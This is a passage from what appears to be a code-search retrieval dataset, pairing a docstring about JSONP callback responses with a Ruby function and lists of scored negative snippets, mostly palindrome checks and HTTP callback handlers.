"def palindromic?(number)\n if number.to_s == number.to_s.reverse\n return true\n end\nend",
"def palindrome_permutation str\n str_1 = str.downcase.chars.sort.join\n str_2 = str.downcase.chars.sort.join.reverse\n length = str.length\n for i in 0..length/2\n return false if str_1[i] != str_2[length-i-1]\n end\n return true\nend",
"def longest_palindrome(s)\n return s if s.length == 1\n previous = s[0]\n\n all_same = true\n z = 0\n counter = 0\n while z < s.length\n if s[z] == previous\n counter += 1\n else\n tmp_longest = previous * counter\n longest = tmp_longest if tmp_longest.length > longest.length\n previous = s[z]\n counter = 1\n break if counter > s.length / 2\n end\n z += 1\n end\n return previous * counter if all_same || counter > s.length / 2\n\n longest = ''\n i = 0\n while i < s.length\n starting_letter = s[i]\n matching_hash = {}\n matching_hash[i] = starting_letter\n\n j = i + 1\n while j < s.length\n if s[j] == starting_letter\n matching_hash[j] = s[j]\n end\n j += 1\n end\n\n i += 1\n\n indices = matching_hash.keys\n next if indices.length == 1\n next if (indices[-1] - indices[0]) < longest.length\n\n first_index = matching_hash.first[0]\n\n k = 0\n valid_sequence = true\n while k < (indices.length / 2 - 1)\n first_dist = indices[k + 1] - indices[k]\n second_dist = indices[indices.length - 1 - k] - indices[indices.length - 2 - k]\n if first_dist != second_dist\n valid_sequence = false\n break\n end\n k += 1\n end\n\n next if !valid_sequence\n\n matching_hash.delete_if {|key,v| (key != first_index) && (key - first_index < longest.length)}\n indices = matching_hash.keys\n\n n = 1\n last_index = indices[-1]\n running_str = ''\n while first_index + n < ((last_index - first_index) / 2)\n matching_hash.each do |key, v|\n if key == first_index\n running_str = matching_hash[key] << s[key + n]\n else\n checking_str = matching_hash[key] << s[key - n]\n matching_hash.delete(key) if checking_str != running_str\n end\n end\n n +=1\n end\n\n matching_hash.values.each do |value|\n longest = value if value.length > longest.length\n end\n end\n puts \"longest: #{longest}\"\n return longest\nend",
"def palindrome_rearranging(s)\n c = Hash.new(0)\n s.split('').each { |z| c[z] += 1}\n m = []\n n = []\n c.each_value { |i| m.push(i)}\n m.each do |i| \n i % 2 != 0 ? n.push(i) : ''\n end \n n.length > 1 ? false : true \nend",
"def palindrome(string)\n word_array = string.split(\"\")\n\n word_array.each_with_index do |letter,index|\n if letter[index] == letter[-index]\n return true\n end\n end\n end",
"def isPalindrome(string)\n # if x.to_s.reverse == x\n # return true\n # end\n # return false\n count = {}\n oddCount = 0\n string.each_char.with_index do |value, index|\n if count[string[index]]\n count[string[index]] += 1\n else\n count[string[index]] = 1\n end\n end\n\n odd = 0\n oddLetter = nil\n count.each do |key, value|\n if value % 2 == 1\n odd += 1\n oddLetter = key\n end\n end\n\n if odd == 0\n return true\n end\n if string[string.length/2] != oddLetter && odd == 0\n p \"hit\"\n return false\n end\n\n if odd > 1\n return false\n else\n return true\n end\n\nend",
"def palindromes_further_explore(str)\n new_str = str.downcase.gsub(/[^a-z0-9]/,\"\")\n substrings(new_str).select do |el|\n el == el.reverse && el.size > 1\n end\nend",
"def is_palindrome = 'racecar'",
"def palindromes(string)\n array = substrings(string)\n array.select { |sub| sub == sub.reverse }\nend",
"def palindrome_check(my_phrase)\r\n string_fixed = my_phrase.split.join\r\n first_position = 0\r\n last_position = string_fixed.length - 1\r\n\r\n while first_position != last_position\r\n\r\n case\r\n when string_fixed[first_position] != string_fixed[last_position]\r\n return false\r\n exit\r\n when string_fixed[first_position] == string_fixed[last_position]\r\n first_position += 1\r\n last_position -= 1\r\n end\r\n return true\r\n end\r\nend",
"def palindrome_index(str)\n\nend",
"def real_palindrome?(str)\n str.downcase!\n arr = [*'0'..'9', *'a'..'z']\n str = str.chars.select { |x| arr.include?(x) }\n str == str.reverse\nend",
"def valid_palindrome(str)\n l_ndx = 0\n r_ndx = str.size - 1\n while l_ndx < r_ndx\n unless str[l_ndx] == str[r_ndx]\n return palindromic?(str, l_ndx, r_ndx - 1) || palindromic?(str, l_ndx + 1, r_ndx)\n end\n\n l_ndx += 1\n r_ndx -= 1\n end\n\n true\nend",
"def palindromic_number?(num)\n num.to_s.chars.join(\"\").reverse.to_i == num\nend",
"def palindrome string #func param: string, name: palindrome\n string = string.downcase.scan(/\\w/) #make sure the value is lower case\n string == string.reverse #see if it equals its reverse, and return as boolean statement \nend",
"def palindrome?(pal_str)\n char_list = pal_str.split\n reverse_list = Array.new\n char_list.length.times do\n reverse_list.push(char_list.pop) unless char_list == []\n end\n reversed_string = reverse_list.join('')\n true if pal_str == reversed_string\nend",
"def is_palindrome(word)\nforwards = \"\"\nbackwards = \"\"\n \n i = 0\n while i < word.length\n char = word[i]\n forwards = forwards + char\n backwards = char + backwards\n\n i += 1\n end\n \n if forwards == backwards\n return \"true\"\n else\n return \"false\"\n end\nend",
"def palindromic_number?(num)\n num.to_s \nend",
"def palindrome?(str, len)\n pos = len - 1\n sequences = []\n while pos < str.length do\n chars = str[(pos - len + 1)..pos].chars\n j = 0\n palin = true\n while j < len / 2 do\n if chars[j] != chars[len - j - 1]\n palin = false\n break\n end\n j += 1\n end\n\n sequences << [chars.first, chars[1]] if palin && chars[0] != chars[1]\n pos += 1\n end\n sequences\n end",
"def isPalidrome(str)\n str == str.reverse\nend",
"def real_palindrome?(string)\n arr = []\n string.chars.each do |char| arr << char if ('a'..'z').include?(char) || ('A'..'Z').include?(char)\n end\n clean_str = arr.join\n clean_str.downcase == clean_str.downcase.reverse\nend",
"def is_palindrome(string)\n array = string.chars\n orginal_char_array = array.select do |char|\n /[A-Za-z]/.match char\n end\n \n char_array = array.select do |char|\n /[A-Za-z]/.match char\n end\n length = char_array.length\n first_index = 0\n last_index = length -1\n while first_index < last_index\n temp = char_array[first_index]\n char_array[first_index] = char_array[last_index]\n char_array[last_index] = temp\n first_index += 1\n last_index -= 1\n end\n \n if char_array.join.upcase == orginal_char_array.join.upcase\n return true\n else\n return false\n end\nend",
"def is_palindrome(s)\n new_str = \"\"\n \n s.each_char do |char|\n new_str << char.downcase if char.downcase != char.upcase || char == char.to_i.to_s\n end\n \n front_idx = 0\n back_idx = new_str.length - 1\n \n until front_idx > back_idx\n return false if new_str[front_idx] != new_str[back_idx]\n front_idx += 1\n back_idx -= 1\n end\n true\nend",
"def palindromic_number?(number)\n index = -1\n rev_array = Array.new(\"#{number}\".length)\n \"#{number}\".chars.each do |char|\n rev_array[index] = char.to_i\n index -= 1\n end\n number == rev_array.join.to_i\nend",
"def palindrome_r(word)\n if word.length == 1 or word.length == 0\n true\n else\n if word[0] == word[-1]\n palindrome_r(word[1..-2])\n else\n false\n end\n end\nend",
"def palindrome (word)\n word.length.times do |n|\n if (word[n] != word[word.length - n - 1]) \n return false\n end\n end\n return true\nend",
"def palindrom?(string)\n string == string.reverse\nend",
"def palindrome_v1?(str)\n packed_str = str.downcase.gsub(/\\W/, '')\n # a, aba, abba, aa, aaa\n target_match_offset = packed_str.length / 2\n target_string_pattern = \"^#{packed_str.slice(target_match_offset..-1).reverse}\"\n return true if packed_str.match(target_string_pattern)\nend",
"def is_palindrome(input)\n input = input.to_s\n index = 0\n input.each_char do |char|\n if char != input[input.length - index - 1]\n return false\n end\n index += 1\n end\n return true\nend",
"def palindromic_number?(n)\n n.to_s == n.to_s.reverse\nend",
"def real_palindrome?(string)\n\n\tletters = ''\n\n\tstring.downcase.chars.each do |char|\n\t\tif ('a'..'z').to_a.include?(char)\n\t\t\tletters << char\n\t\telsif ('0'..'9').to_a.include?(char)\n\t\t\tletters << char\n\t\tend\n\tend\n\n\tletters == letters.reverse\n\nend",
"def palindrome(string)\n result = Array.new\n\n new_string = string.chars\n string.size.times { result << new_string.delete_at(-1) }\n result.join\nend",
"def palindrome(string)\n result = Array.new\n\n new_string = string.chars\n string.size.times { result << new_string.pop }\n result.join\nend",
"def palindrome (input_string)\n input_string == input_string.reverse\nend",
"def palindromic_number?(num)\n num.to_s == num.to_s.reverse\nend",
"def palindromic_number?(num)\n num.to_s == num.to_s.reverse\nend",
"def palindromes(str)\n palindromic_substrings = []\n\n substrings = substrings(str)\n puts substrings\n\n substrings.each do |substr|\n palindromic_substrings << str if str == str.reverse\n end\n\n puts palindromic_substrings\n palindromic_substrings\nend",
"def findWholePalindrome(str, center)\n if str[center] == str[center-1]\n i = center\n j = center-1\n else\n i = center+1\n j = center-1\n end\n until j < 0 || i > str.length || str[j] != str[i]\n j-=1\n i+=1\n end\n return str[j+1..i-1]\nend",
"def check_palindrome(s)\n for i in 0...(s.length/2).floor\n if s[i] != s[s.length-i-1]\n return false\n end\n end\n return true\nend",
"def palindromic_number?(num)\n num.to_s == num.to_s.reverse\nend",
"def palindrome\n txt = 'ssiiss'\n length = txt.length\n i = 0\n j = length - 1\n flag = true\n while flag && i<=j do\n flag = txt[i] == txt[j] ? true : false\n i = i + 1\n j = j - 1\n end\n puts \"palindrome is #{flag}\"\nend",
"def is_palindrome? number\n num_string = number.to_s\n counter = num_string.length / 2\n\n palindromic = true\n counter.times {|n| palindromic &&= ( num_string[n] == num_string[-n-1])}\n\n palindromic\nend",
"def palindrome?(string)\n chars_arr = string.chars\n new_arr = []\n chars_arr.each { |substring| new_arr.prepend(substring) }\n new_arr.join == string\nend",
"def longest_palindrome(string)\n \nend",
"def longest_palindrome(string)\nend",
"def palindromes(string)\n all_substrings = substrings(string)\n results = []\n all_substrings.each do |substring|\n results << substring if palindrome?(substring)\n end\n results\nend",
"def Palindrome(str)\n str = str.gsub(\" \", \"\")\n front = 0\n back = str.length - 1\n \n while front < back\n if str[front] != str[back]\n return \"false\"\n end\n front += 1\n back -= 1\n end\n \n return \"true\"\nend",
"def is_palindrome(word) # define method with one parameter\n i = 0 # set i to zero for first index value is 0\n reversed_string = \"\" # create empty string to store concatenated string\n \n while i < word.length # run while loop as long as word length is greater than i value which increments by one\n char = word[i] # this stores each iteration of string characters\n reversed_string = char + reversed_string # this concatenates string characters in reverse order\n i +=1 # raises increment by one \n end # end loop\n return reversed_string == word # if statement that evaluates whether new string equals original\nend",
"def palindrome(str)\n if str.length == 1 || str.length.zero?\n true\n elsif str[0] == str[-1]\n palindrome(str[1..-2])\n else\n false\n end\nend",
"def palindrome_check(my_phrase)\n return false if my_phrase == nil\n length = my_phrase.length\n return true if length < 2\n\n half = length / 2\n\n back_counter = length - 1\n front_counter = 0\n\n half.times do\n if my_phrase[back_counter] == \" \"\n back_counter -= 1\n end\n\n if my_phrase[front_counter] == \" \"\n front_counter += 1\n end\n\n if my_phrase[back_counter] != my_phrase[front_counter]\n return false\n end\n back_counter -= 1\n front_counter += 1\n return true\n end\n\nend",
"def palindrome?(string)\n arr1 = string.chars\n arr2 = []\n arr1.each { |char| arr2.unshift(char) }\n arr2 == arr1\nend",
"def palindromic_number?(integer)\n integer.to_s == integer.to_s.reverse!\nend",
"def palindrome(string)\n string.downcase.split(/\\W+/).join('') == string.downcase.split(/\\W+/).join('').reverse\nend",
"def is_palindrome(s)\n\tl = 0\n\tr = s.length - 1\n\treturn pal_helper(s, l, r)\nend",
"def og_palindrome?(str)\n new_str = ''\n index = str.length - 1\n\n until index < 0\n new_str += str[index]\n index -= 1\n end\n\n str == new_str\nend",
"def palindrome?(string)\n newRevString = \"\"\n idx = string.length-1\n while idx >= 0\n newRevString = newRevString + string[idx]\n idx = idx - 1\n end\n return newRevString==string\nend",
"def palindrome?(string)\n string.chars.reverse.join == string\nend",
"def longest_palindrome(str)\n \nend",
"def palindrome_word? word\n if word.length === 1\n return true\n end\n lower = word.downcase\n num = (lower.length/2.0).floor\n num.times do |x|\n if lower[x] == lower[-(x+1)]\n if x == num - 1\n return true\n end\n next\n else\n return false\n end\n end\nend",
"def isPalindrome(word)\n\nend",
"def palindrome(string)\n result = []\n new_string = string.chars\n\n loop do\n result << new_string.pop\n break if new_string.size == 0\n end\n result.join\nend",
"def palindromic_number?(num)\n string = num.to_s\n string == string.reverse\nend",
"def can_make_valid_palindrome(s)\n\nend",
"def palindrome(string)\n if string.length == 1 || string.length == 0\n true\n elsif string[0] == string[-1]\n palindrome(string[1..-2])\n else\n false\n end\nend",
"def palindrome?(string)\n new_string = \"\"\n i = 1\n string.length.times do\n new_string << string[-i]\n i += 1\n end\n string == new_string\nend",
"def palindromes(string)\n results = substrings(string)\n results.select {|substring| substring == substring.reverse && substring.length > 1}\nend",
"def palindromic_number?(number, zeros=0)\n number = \"#{'0' * zeros}%o\" % number if zeros > 0\n palindrome?(number.to_s)\nend",
"def is_palindrome(s)\n # input validation\n return true if s.length == 0\n i = 0\n j = s.length-1\n return palindrome_helper(i, j, s)\nend",
"def palindromic_number?(int)\r\n int.to_s == int.to_s.reverse\r\nend",
"def palindrome(string)\n puts \"is #{string} a palindrome?\" \n (string.length/2).times do |i|\n puts i\n puts \"checking if #{string[i]} is equal to #{string[string.length - 1 - i]}\"\n if string[i] != string[string.length - 1 - i]\n return false\n end\n end\n return true\nend",
"def palindrome?(str)\n (str.length - 1).downto(0).map { |i| str[i] }.zip(str.chars).all? { |a, b| a == b }\nend",
"def palindrome_check(my_phrase)\r\n return my_phrase if my_phrase.length < 2\r\n\r\n i = 0\r\n\r\n while i < my_phrase.length/2\r\n return false if my_phrase[i] != my_phrase[my_phrase.length - i - 1]\r\n i += 1\r\n end\r\n\r\n return true\r\nend",
"def check_palindrome_recursive(string)\n return true if string.length < 2\n return false if string[0] != string[-1]\n slice_first_last_character(string)\n check_palindrome_recursive(string)\n end",
"def palindrome?(str)\n i = 0\n while i < str.length/2\n if str[i] != str[str.length - i - 1]\n return false\n end\n i = i + 1\n end\n return true\nend"
] |
[
"0.74935734",
"0.7486841",
"0.7433131",
"0.7399811",
"0.73871654",
"0.72819734",
"0.72528565",
"0.7236275",
"0.71964806",
"0.71909493",
"0.71849954",
"0.7178259",
"0.7175654",
"0.7168487",
"0.7161198",
"0.7134021",
"0.71239865",
"0.7093375",
"0.7084107",
"0.7080357",
"0.7051066",
"0.7034368",
"0.70338297",
"0.7028669",
"0.70130736",
"0.70086396",
"0.69998395",
"0.69893205",
"0.69800335",
"0.6979621",
"0.69756216",
"0.69683254",
"0.6965239",
"0.6954476",
"0.69470614",
"0.69317216",
"0.6923915",
"0.69167465",
"0.69166857",
"0.69164824",
"0.6916471",
"0.6908462",
"0.6897788",
"0.6896107",
"0.68866724",
"0.68837005",
"0.68770975",
"0.68724406",
"0.6870417",
"0.68694526",
"0.6867286",
"0.6861119",
"0.6859303",
"0.6857156",
"0.68510205",
"0.68498015",
"0.6843877",
"0.68413377",
"0.68369883",
"0.68367636",
"0.683665",
"0.6827019",
"0.6827019",
"0.6819346",
"0.6815391",
"0.68140215",
"0.68047965",
"0.67991054",
"0.67990255",
"0.6794826",
"0.6793053",
"0.6784976",
"0.67832893",
"0.678189",
"0.6778869",
"0.67782193",
"0.67750853",
"0.67727345",
"0.6767075",
"0.6766843",
"0.6764069",
"0.6763386",
"0.6762635",
"0.6755996",
"0.67527395",
"0.675042",
"0.67451483",
"0.6743874",
"0.6743764",
"0.6727126",
"0.67226434",
"0.6718465",
"0.6718446",
"0.6714194",
"0.6713707",
"0.6709173",
"0.67085594",
"0.67082006",
"0.67064494",
"0.6701121",
"0.6699189"
] |
0.0
|
-1
|
If the request passed a callback, answer in the appropiate way. Or else, answer normally.
|
def callback_response(callback,response)
if callback.nil?
response
else
callback + "(" + response + ")"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def dispatch_http_response(res, options, &block)\n callback = options.fetch('callback', nil)\n (res.blank? && callback.present?) ? callback.call(res) : block.call(res)\nend",
"def callback\n head :ok\n end",
"def callback\n return response if called\n self.response = k.inject(\n env.merge(RESPONSE_BODY => body ,\n RESPONSE_STATUS => status,\n RESPONSE_HEADERS => headers,\n RESPONSE_SOCKET => socket,\n FAIL => ((env[FAIL]||[]) + [error]).compact,\n LOG => env[LOG] ||[])){ |r, i| i.call(r) }\n ensure\n self.called = true\n end",
"def call(request, response)\n @num_request += 1\n @callback.call(request, response)\n end",
"def hookup_request_callbacks(req, errback, &blk)\n req.callback &blk\n req.callback { stop }\n\n req.errback &errback if errback\n req.errback { stop }\n end",
"def dispatch_http_response(res, options)\n callback = options.fetch('callback', nil)\n res.blank? && callback.present? ? callback.call(res, nil) : yield(res)\n end",
"def callback\n result, message = handle_callback_params!\n status = result ? :ok : :bad_request\n render plain: message, status: status\n end",
"def do_request(request, want_reply, data); end",
"def callback\n logger.info ap params\n head :ok\n end",
"def call_ok_handler; call_handler(:ok); end",
"def handle_request( request, &block )\n\t\tif block\n\t\t\treturn block.call( request )\n\t\telse\n\t\t\treturn request.response\n\t\tend\n\tend",
"def handle_request request, usecase=Usecase, &block\n usecase = build_usecase( request, usecase, &block )\n usecase.response\n end",
"def process_request( response, success )\n request = @request_queue.shift\n request.callback.call( success, response ) if request.callback\n end",
"def call_block_for_request(request, parsed_response)\n if parsed_response[\"body\"].nil?\n request.on_complete_block.call(parsed_response) if request.on_complete_block\n else\n case request.token.gsub(/:.*/, \"\")\n when \"subscribe\"\n request.on_datastream_block.call(parsed_response) if request.on_datastream_block\n when \"get\"\n request.on_get_block.call(parsed_response) if request.on_get_block\n end\n end\n end",
"def request_handler(request_data)\n # assume request_data is a single line with a possible newline trailing.\n request = JSON.load(request_data.chomp)\n if 2 == request.keys.size && request.has_key?(LAST_EXIT_CODE_KEY) && request.has_key?(LAST_ERROR_MESSAGE_KEY)\n # pop the next action from the queue.\n command = @callback.call(:respond, request)\n return JSON.dump(NEXT_ACTION_KEY => command) + \"\\n\";\n end\n raise ArgumentError, \"Invalid request\"\n rescue Exception => e\n return JSON.dump(:Error => \"#{e.class}: #{e.message}\", :Detail => e.backtrace.join(\"\\n\")) + \"\\n\"\n end",
"def response_proc(code=nil,&blk)\n Proc.new do | message |\n if code.nil? or code.empty? or code == message\n @logger.debug \"Calling proc. code: #{code} message: #{message}\"\n blk.call(message)\n end\n end\n end",
"def request(*args, &block); end",
"def set_callback\n if request.streaming?\n response = nil\n easy.on_headers do |easy|\n response = Response.new(Ethon::Easy::Mirror.from_easy(easy).options)\n request.execute_headers_callbacks(response)\n end\n request.on_body.each do |callback|\n easy.on_body do |chunk, easy|\n callback.call(chunk, response)\n end\n end\n else\n easy.on_headers do |easy|\n request.execute_headers_callbacks(Response.new(Ethon::Easy::Mirror.from_easy(easy).options))\n end\n end\n request.on_progress.each do |callback|\n easy.on_progress do |dltotal, dlnow, ultotal, ulnow, easy|\n callback.call(dltotal, dlnow, ultotal, ulnow, response)\n end\n end\n easy.on_complete do |easy|\n request.finish(Response.new(easy.mirror.options))\n Typhoeus::Pool.release(easy)\n if hydra && !hydra.queued_requests.empty?\n hydra.dequeue_many\n end\n end\n end",
"def call(request, _next)\n @block ? @block.call(request, _next) : _next.call\n end",
"def call(request)\n result = invoke(decompose(request))\n if result.success?\n on_success(request, result)\n else\n on_failure(request, result)\n end\n end",
"def getting(request, validator, success_callback)\n response = nil\n\n loop do\n args = []\n request.each do |message|\n print message\n args << gets.chomp\n end\n\n check = send(validator, *args)\n\n if check[:success]\n response = send(success_callback, *args)\n break\n else\n puts check[:errors]\n end\n end\n response\n end",
"def run(&callback)\n @serializer.run do |msg|\n debug(\"received #{msg.inspect}\")\n kind, *payload = msg\n\n case kind\n when 0\n handle_request(payload, callback)\n when 1\n handle_response(payload)\n when 2\n handle_notification(payload, callback)\n end\n end\n rescue => e\n fatal(\"got unexpected error #{e.inspect}\")\n debug(e.backtrace.join(\"\\n\"))\n end",
"def handle( request ) # note: all 'handle's return 'ml_response' in a chain\n\n# not yet request.record_arrival_time\n ml_response =\n case\n when request.get? then handle_get_muffin(request)\n when request.post? then handle_post(request)\n end\n# not yet request.record_completion_time\n ml_response\n end",
"def callback\n def_deferr = ::EventMachine::DefaultDeferrable.new\n proc_callback = Proc.new { |response| ::OnesnooperServer::Log.debug(\n \"[#{self.class.name}] Handled as: #{response}\"\n ) }\n\n def_deferr.callback &proc_callback\n def_deferr.errback &proc_callback\n\n def_deferr\n end",
"def request(endpoint, request, &block); end",
"def callback\n @callback ||= ERB::Util.url_encode(\"#{request.url}&callback\")\n end",
"def call(&block)\n # RODA4: Remove\n catch(:halt) do\n r = @_request\n r.block_result(instance_exec(r, &block)) # Fallback\n @_response.finish\n end\n end",
"def handle( request ) # note: all 'handle's return 'ml_response' in a chain\n\n ml_response =\n case\n when request.get? then handle_get_muffin(request)\n when request.post? then handle_post(request)\n end\n end",
"def execute(request, response, &_block)\n if block_given?\n yield request, response\n else\n execute_default(request, response)\n end\n end",
"def callback\n\n end",
"def callback\n end",
"def after_request(&block)\n @after_request = block if block\n @after_request || proc { |a| a }\n end",
"def on_request &b\n @request_proc = b\n self\n end",
"def verify_response\n\n self.exec\n end",
"def answer(val = self)\n return val if @continuation.nil?\n\n @continuation.call(val)\n end",
"def request(data, timeout: nil, &callback)\n message = Message.new(data, type: :request)\n\n if block_given?\n # Async execution of request\n in_thread(callback, name: 'requesting') do |cb|\n cb.call(send_request_and_wait_for_response(message, timeout).data)\n end\n nil\n else\n send_request_and_wait_for_response(message, timeout).data\n end\n end",
"def got_response(response)\n end",
"def call(env, *args)\n\n hook_into_callback_chain(env, *args)\n\n downstream_resp = @app.call(env)\n\n if final_response?(downstream_resp)\n status, headers, body = downstream_resp\n post_process(env, status, headers, body, *args)\n else\n return Goliath::Connection::AsyncResponse\n end\n end",
"def send_response\r\n if self.response.class.name == \"Proc\"\r\n return self.response.call\r\n end\r\n self.response\r\n end",
"def run_callbacks(request)\n callback = @callbacks[request]\n response = response_for(request)\n\n if callback && response && response.success?\n threadsafe = @cluster.config.threadsafe\n\n begin\n @callback_lock.lock unless threadsafe\n callback.call(api::BatchResponse.new(responses: [response]))\n ensure\n @callback_lock.unlock unless threadsafe\n end\n end\n end",
"def callback\n\tend",
"def response_to(input)\nend",
"def call(env)\n # remove the callback and _ parameters BEFORE calling the backend, \n # so that caching middleware does not store a copy for each value of the callback parameter\n request = Rack::Request.new(env)\n callback = request.params.delete(@callback_param)\n env['QUERY_STRING'] = env['QUERY_STRING'].split(\"&\").delete_if{|param| param =~ /^(_|#{@callback_param})/}.join(\"&\")\n \n status, headers, response = @app.call(env)\n if callback && headers['Content-Type'] =~ /json/i\n response = pad(callback, response)\n headers['Content-Length'] = response.first.length.to_s\n headers['Content-Type'] = 'application/javascript'\n elsif @carriage_return && headers['Content-Type'] =~ /json/i\n # add a \\n after the response if this is a json (not JSONP) response\n response = carriage_return(response)\n headers['Content-Length'] = response.first.length.to_s\n end\n [status, headers, response]\n end",
"def new_brb_out_request(meth, *args, &blck)\r\n Thread.current[:brb_nb_out] ||= 0\r\n Thread.current[:brb_nb_out] += 1\r\n\r\n raise BrBCallbackWithBlockingMethodException.new if is_brb_request_blocking?(meth) and block_given?\r\n\r\n block = (is_brb_request_blocking?(meth) or block_given?) ? Thread.current.to_s.to_sym : nil\r\n if block\r\n args << block \r\n args << Thread.current[:brb_nb_out]\r\n end\r\n \r\n if block_given?\r\n # Simulate a method with _block in order to make BrB send the answer\r\n meth = \"#{meth}_block\".to_sym\r\n end\r\n\r\n args.size > 0 ? brb_send([MessageRequestCode, meth, args]) : brb_send([MessageRequestCode, meth])\r\n\r\n if block_given?\r\n # Declare the callback\r\n declare_callback(block, Thread.current[:brb_nb_out], &blck)\r\n\r\n elsif block # Block until the request return\r\n\r\n #TimeMonitor.instance.watch_thread!(@timeout_rcv_value || 45)\r\n begin\r\n r = recv(block, Thread.current[:brb_nb_out], &blck)\r\n rescue Exception => e\r\n raise e\r\n ensure\r\n #TimeMonitor.instance.remove_thread!\r\n end\r\n if r.kind_of? Exception\r\n raise r\r\n end\r\n return r\r\n end\r\n\r\n nil\r\n end",
"def on_response &b\n @response_proc = b\n self\n end",
"def handle_response(response, options = {}, &block)\n request = options[:request]\n method = (request ? request.method : options[:method]) || '?'\n url = (request ? request.url : options[:url]) || '?'\n default_data = options[:default_data]\n default_data = HashWithIndifferentAccess.new(default_data) if default_data && default_data.is_a?(Hash)\n handler_options = {default_data: default_data, raise_on_error: options[:raise_on_error]}\n if response.timed_out?\n handle_timeout(response, method, url, handler_options, &block)\n elsif response.code == 0\n handle_failure(response, method, url, handler_options, &block)\n else\n if !has_entity?(response) || acceptable?(response)\n entity = parse_entity(response.body) if response.body\n if response.success?\n handle_success_response(response, method, url, entity, &block)\n else\n handler_options[:silence_errors] = options[:silence_errors]\n handle_error_response(response, method, url, entity, handler_options, &block)\n end\n else\n handle_unacceptable_entity(response, method, url, handler_options, &block)\n end\n end\n end",
"def request(req, body = nil, &block)\n response = alias_for_request(req, body)\n path = \"http://#{req.bauth if req.bauth}#{req['host']}#{req.path}\"\n if @@fakes[req.method][path]\n @@fakes[req.method][path] << {:body => response.body.to_s}\n else\n @@fakes[req.method][path] = [:body => response.body.to_s]\n end\n return response\n end",
"def on_success(&blk)\n @on_success = blk\n @on_success.call(@response) if @response\n end",
"def callback_get\n render nothing: true\n end",
"def response\n parse_request\n do_something\n put_response\n end",
"def callback(&blk)\n @blk=blk\n end",
"def call(env)\n aroundware = new_aroundware(env)\n\n aroundware_resp = aroundware.pre_process\n\n hook_into_callback_chain(env, aroundware)\n\n downstream_resp = @app.call(env)\n\n # if downstream resp is final, pass it to the aroundware; it will invoke\n # the callback chain at its leisure. Our response is *always* async.\n if final_response?(downstream_resp)\n aroundware.call(downstream_resp)\n end\n return Goliath::Connection::AsyncResponse\n end",
"def request(req, body = nil, &block)\n response = alias_for_request(req, body)\n\n if NetRecorder.recording?\n scope = NetRecorder.scope || 'global'\n path = \"http://#{req.bauth if req.bauth}#{req['host']}#{req.path}\"\n\n existing_fake = @@fakes.detect{|fake| fake[0] == path && fake[1][scope] && fake[1][scope][:method] == req.method}\n existing_fake[1][scope][:response] << {:response => response} and return response if existing_fake\n\n @@fakes << [path, {scope => {:method => req.method, :response => [{:response => response}]}}]\n end\n\n yield response if block\n response\n end",
"def perform(request, response); end",
"def execute_callback(callback, *args)\n (callback.arity == 2 ? callback.call(*args[0, 2]) : callback.call(*args)) if callback\n end",
"def process(value)\n callback ? callback.call(value) : value\n end",
"def handle_response(response); end",
"def handle_response(response); end",
"def call( msg, *args, &block )\n req = Request.new(\n message: msg,\n args: args,\n callback: block,\n token: @token\n )\n\n block_given? ? call_async( req ) : call_sync( req )\n end",
"def receive_response(response); end",
"def call(env)\n # remove the callback and _ parameters BEFORE calling the backend, \n # so that caching middleware does not store a copy for each value of the callback parameter\n request = Rack::Request.new(env)\n callback = request.params.delete(@callback_param)\n env['QUERY_STRING'] = env['QUERY_STRING'].split(\"&\").delete_if{|param| param =~ /^(_|#{@callback_param})/}.join(\"&\")\n \n status, headers, response = @app.call(env)\n if callback\n response = pad(callback, response)\n headers['Content-Length'] = response.first.bytesize.to_s\n headers['Content-Type'] = 'application/javascript;charset=utf-8'\n end\n [status, headers, response]\n end",
"def run\n return if halted?\n\n http = request.em\n http.callback {\n Benchy.logger.info \"#{name}\\t| #{request.method.upcase} #{request.url} - HTTP #{http.response_header.status}\"\n run\n }\n http.errback {\n Benchy.logger.error \"#{name}\\t| Connection error!\"\n halt # TODO - Make this fail the ping and try again, not halt\n }\n end",
"def call(request); end",
"def succeed(*args)\n if @callback\n @callback.call(*args)\n else\n @callback_args = args\n end\n end",
"def response?(params); end",
"def s_request(index, offset, length, &cb)\n $log.debug \"#{self} -> request (#{index}, #{offset}, #{length})\"\n @req_cb[[index, offset, length]] = Proc.new {|*args| cb.call(*args)}\n self.send_msg(6, [index, offset, length].pack(\"L>L>L>\"))\n end",
"def call_response?\n false\n end",
"def invoke_callback(callback)\n return unless callback\n if callback.is_a?(Proc) || callback.is_a?(Method)\n callback.call(self)\n else\n invoke_callback_class_instance(callback)\n end\n end",
"def request(subject, data=nil, opts={}, &cb)\n return unless subject\n\n # In case of using async request then fallback to auto unsubscribe\n # based request/response and not break compatibility too much since\n # new request/response style can only be used with fibers.\n if cb\n inbox = \"_INBOX.#{@nuid.next}\"\n s = subscribe(inbox, opts) { |msg, reply|\n case cb.arity\n when 0 then cb.call\n when 1 then cb.call(msg)\n else cb.call(msg, reply)\n end\n }\n publish(subject, data, inbox)\n return s\n end\n\n # If this is the first request being made, then need to start\n # the responses mux handler that handles the responses.\n start_resp_mux_sub! unless @resp_sub_prefix\n\n # Generate unique token for the reply subject.\n token = @nuid.next\n inbox = \"#{@resp_sub_prefix}.#{token}\"\n\n # Synchronous request/response requires using a Fiber\n # to be able to await the response.\n f = Fiber.current\n @resp_map[token][:fiber] = f\n\n # If awaiting more than a single response then use array\n # to include all that could be gathered before the deadline.\n expected = opts[:max] ||= 1\n @resp_map[token][:expected] = expected\n @resp_map[token][:msgs] = [] if expected > 1\n\n # Announce the request with the inbox using the token.\n publish(subject, data, inbox)\n\n # If deadline expires, then discard the token and resume fiber\n opts[:timeout] ||= 0.5\n t = EM.add_timer(opts[:timeout]) do\n if expected > 1\n f.resume @resp_map[token][:msgs]\n else\n f.resume\n end\n\n @resp_map.delete(token)\n end\n\n # Wait for the response and cancel timeout callback if received.\n if expected > 1\n # Wait to receive all replies that can get before deadline.\n msgs = Fiber.yield\n EM.cancel_timer(t)\n\n # Slice and throwaway responses that are not needed.\n return msgs.slice(0, expected)\n else\n msg = Fiber.yield\n EM.cancel_timer(t)\n return msg\n end\n end",
"def callback\n false\n end",
"def register_request_callback(&block)\n request_callbacks << block\n end",
"def execute_callback(callback, *args)\n callback.call(*args) if callback\n end",
"def on_response request, response, block\n block.call(response.name, response.params)\n end",
"def requestor(req, json = nil)\n res = Net::HTTP.start(@host, @port, {:use_ssl => true}) { |http|\n create_the_request(req, json, http)\n }\n unless res.kind_of?(Net::HTTPSuccess)\n # let rails and sinatra handle this or print out if using ruby i say if, elsif, else\n handle_error(req, res)\n end\n res\n end",
